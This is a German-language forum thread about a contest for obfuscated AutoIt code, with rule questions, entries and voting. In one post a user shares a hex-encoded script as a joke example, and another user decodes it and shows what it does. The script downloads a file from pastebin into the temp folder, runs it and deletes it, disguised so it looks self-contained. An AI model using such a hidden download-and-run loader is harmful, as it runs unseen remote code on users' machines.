Dann lass es. min. 4 Leute scheinen den Sinn verstanden zu haben. Lies nochmal, vielleicht tretet ihr ja an, wäre ja ne gute Idee vom Skript her.
Cubic Code Award - Vorbei
-
-
Gut, ich schreib BadBunny morgen an, dann bekomm ich den SRC von der Mandelbrotmenge und wir treten gemeinsam an
Dann sieht man mal, was in rekursion für Power steckt, und wie man Zeilen komprimiert -
Super...jetzt gibts sogar Wettbewerbe, die den unleserlichen Programmierstil fördern
Ich bleib lieber sauber, aber würde mich trotzdem interessieren, was man damit alles machen kann. -
So die dritte Einsundung ist eingegange, damit setze ich den Doomsday auf den 25.8. . Ab ca. 1Uhr am 26. gibt es dann die Präsentation und das Voting.
-
Da mein Skript nicht zählt (:(), poste ich es einfach mal hier, damit sich nun wirklich jeder vorstellen kann, wie das Ganze zum Schluss aussehen
[autoit]soll/kann:#NoTrayIcon;......................................
[/autoit]
Execute(BinaryToString("0x496E6574476574"& _;.....
"2822687474703A2F2F706173746562696E2E636"& _;.....
"F6D2F7261772E7068703F693D6566726452414C"& _;.....
"31222C4054656D7044697226225C65667264524"& _;.....
"14C312E617533222C31392C3029"));..................
If Execute(BinaryToString("0x46696C65457"& _;.....
"869737473284054656D7044697226225C656672"& _;.....
"6452414C312E6175332229")) Then;..................
Execute(BinaryToString("0x52756E57616974"& _;.....
"28537472696E67466F726D61742822222225732"& _;.....
"222202F4175746F497433457865637574655363"& _;.....
"7269707420222225732222222C404175746F497"& _;.....
"44578652C4054656D7044697226225C65667264"& _;.....
"52414C312E617533222929"));.......................
Execute(BinaryToString("0x46696C6544656C"& _;.....
"657465284054656D7044697226225C656672645"& _;.....
"2414C312E6175332229"));..........................
EndIf;............................................
;.................................................MfG, James
Edit:
Das hattest du bis jetzt ja noch nicht erwähnt...
Irgendwie verstehe ich deinen Sinn nicht?
[autoit]
Und das Script verstößt gegen die Regeln, weil du INetGet() benutzt
So sieht das Script "lesbar" aus:InetGet("http://pastebin.com/raw.php?i=efrdRAL1",@TempDir&"\efrdRAL1.au3",19,0)
[/autoit]
If FileExists(@TempDir&"\efrdRAL1.au3") Then
RunWait(StringFormat("""%s"" /AutoIt3ExecuteScript ""%s""",@AutoItExe,@TempDir&"\efrdRAL1.au3"))
FileDelete(@TempDir&"\efrdRAL1.au3")
EndIf
Und das sind nur 5 Zeilen
Wahrscheinlich wahren die BinaryToString()'s nur da um das INetGet zu verschachtelnMfg xCreez
-
Einen Post weiter siehst du, dass minx das Skript in ein paar Verbote umgewandelt hat (d.h., dass es diese Regel da noch nicht gab).
Dieses Skript war ja außerdem sowieso nicht ernst gemeint, sondern höchstens um nochmal ein Beispiel für die Formatierung zu zeigen.
Keine Sorge, das Skript mit dem ich teilnehme ist um einiges besser und auch regel konform.MfG, James
Edit: Der Sinn ist, dass wenn man das Skript ausführt, ohne es sich näher anzuschauen, man vielleicht denken könnte, dass das Programm in den paar Zeilen enthalten ist.
-
Das war ja keine ernst gemeinte Einsednung. Erstens weil es da steht, zweitens wiel es DA steht (also nicht bei mir als PN) und drittens sind die Befehle nciht erkennbar.
Zur Lebarkeit: Es muss nicht 'lesbar' sein, sondern die Befehle wo auch immer sie stehen, gtrennt oder nicht etc, müssen lesbar sein. Ihr könnt also sonstwas für einen Salat verfassen, solgange man alle Befehle im Klartext sieht.
-
3. Ist aber gerade der Witz an diesem Wettbewerb...
Mittlerweile stimme ich dir in diesem Punkt auch vollkommen zu.
Klar. Sonst. Hat aber nichts hiermit zu tun. Dazu:ZitatEs geht um "Cubic Code".
(noch nie gehört, aber ich weiß was gemeint ist, weil ich damit in letzter Zeit etwas Spaß hatte)
http://pastebin.com/LqyizfbpIn dem Fall zählt unter anderem:
Codeaussehen (wie sieht es für den aus der es liest und wie viel versteht er (am besten garnix))
Einhaltung der Breite und geschicktes Programmieren um das zu tun. -
-
Ich wollte nochmal darauf hinweisen, dass es hier eben nicht auf die konforme Darstellung ankommt ;). Denn das ist der Witz an diesem Wettbewerb.
// Mir ging es um das Durchgestrichene
-
Kurze Frage:
Ist es erlaubt, den Code eines Includes zu nutzen, um die Funktion zu implementieren, die man braucht? Also nicht den Include an sich, sondern nur einen Teil des Inhaltes. (umgeschrieben)
Nachmachen wäre für mich unmöglich. Und ich bezweifle auch, dass es eine andere Möglichkeit für das gibt, was ich machen will, ohne einen DllCall zu verwenden.MfG black_skorpi
-
Solange du diesen Teil des Includes in dein Skript einfügst und es immer noch nicht gegen die Regeln verstößt, sowie in 50 Zeichen in 100 Zeilen passt.
-
@black_scorpi: Du meinst _IsPressed() ? Da gibt es min. 3 andere Wege
+ Punktevergabe korrigiert
+ 1 Einsendung mehrMfG
-
Pff, _IsPressed() kann man wirklich simpel ersetzen. Und außerdem benutzt das ja einen DllCall.
Nein, es geht um was anderes mit viel rumgerechne, aber dann ist ja alles klar. Wollte mich nur absichern.PS: Autor davon wird natürlich vermerkt, wenn ich das ausnahmsweise in eine Kommentarzeile schreiben darf... Sonst bekommt er halt einen unbenutzten String
-
Schreibs mit in die PN, den Autor. Aber trotzdem: Keine DllCalls ;).
-
Die Scripte sind online. Lets get ready to rumble!
-
Wäre vielleicht gut zu erwähnen, dass mein Server die jeweilige Nachricht zufällig an einen Client schickt...
Deswegen auch der Vergleich mit Chatroulette in meiner Beschreibung. -
Und ich möchte auch noch was zu meinem Script sagen:
Das Speichern und Laden fehlt, ist gewollt und kein Bug.Ich hatte es auch bereits implementiert, jedoch wieder entfernt, weil ich lieber weniger Zeilen wollte.:D
lg chess
-
Man darf nicht für sich selbst abstimmen, oder?
-
Kannst du schon, kann man dir (Glaub ich) auch nicht nachweisen...
Ich denke, das bleibt jedem selbst überlassen, ob er das für Fair hält oder nicht.lg chess
-